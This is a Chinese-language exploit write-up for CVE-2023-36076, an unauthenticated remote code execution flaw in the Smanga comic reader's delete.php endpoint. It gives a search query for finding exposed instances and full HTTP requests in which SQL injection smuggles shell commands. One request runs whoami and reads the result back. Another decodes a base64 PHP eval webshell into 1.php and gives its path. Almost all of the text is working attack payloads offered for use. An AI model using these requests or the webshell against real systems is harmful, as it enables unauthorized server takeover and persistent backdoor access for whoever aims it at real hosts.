Smanga未授权远程代码执行漏洞(CVE-2023-36076)
一、漏洞简介
Smanga无需配置，docker直装的漫画流媒体阅读工具。以emby plex为灵感，为解决漫画阅读需求而开发的漫画阅读器。在/php/manga/delete.php接口处存在未授权远程代码执行漏洞，攻击者可在目标主机执行任意命令，获取服务器权限。
二、影响版本
- Smanga
三、资产测绘
- hunter
web.title=="smanga" - 特征
四、漏洞复现
POST /php/manga/delete.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
If-None-Match: "63ff3602-c6d"
If-Modified-Since: Wed, 01 Mar 2023 11:24:50 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 360
mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";echo `whoami` > 1.txt;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
获取命令执行结果
GET /php/manga/1.txt HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
写入webshell
POST /php/manga/delete.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
If-None-Match: "63ff3602-c6d"
If-Modified-Since: Wed, 01 Mar 2023 11:24:50 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 360
mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";echo PD9waHAgY2xhc3MgR3c2UVBoNjYgeyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJEg4OTBhKXsgQGV2YWwoIi8qWjlZczlnSVY3MyovIi4kSDg5MGEuIi8qWjlZczlnSVY3MyovIik7IH19bmV3IEd3NlFQaDY2KCRfUkVRVUVTVFsneCddKTs/Pg== | base64 -d > 1.php;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=truewebshell地址
/php/manga/1.php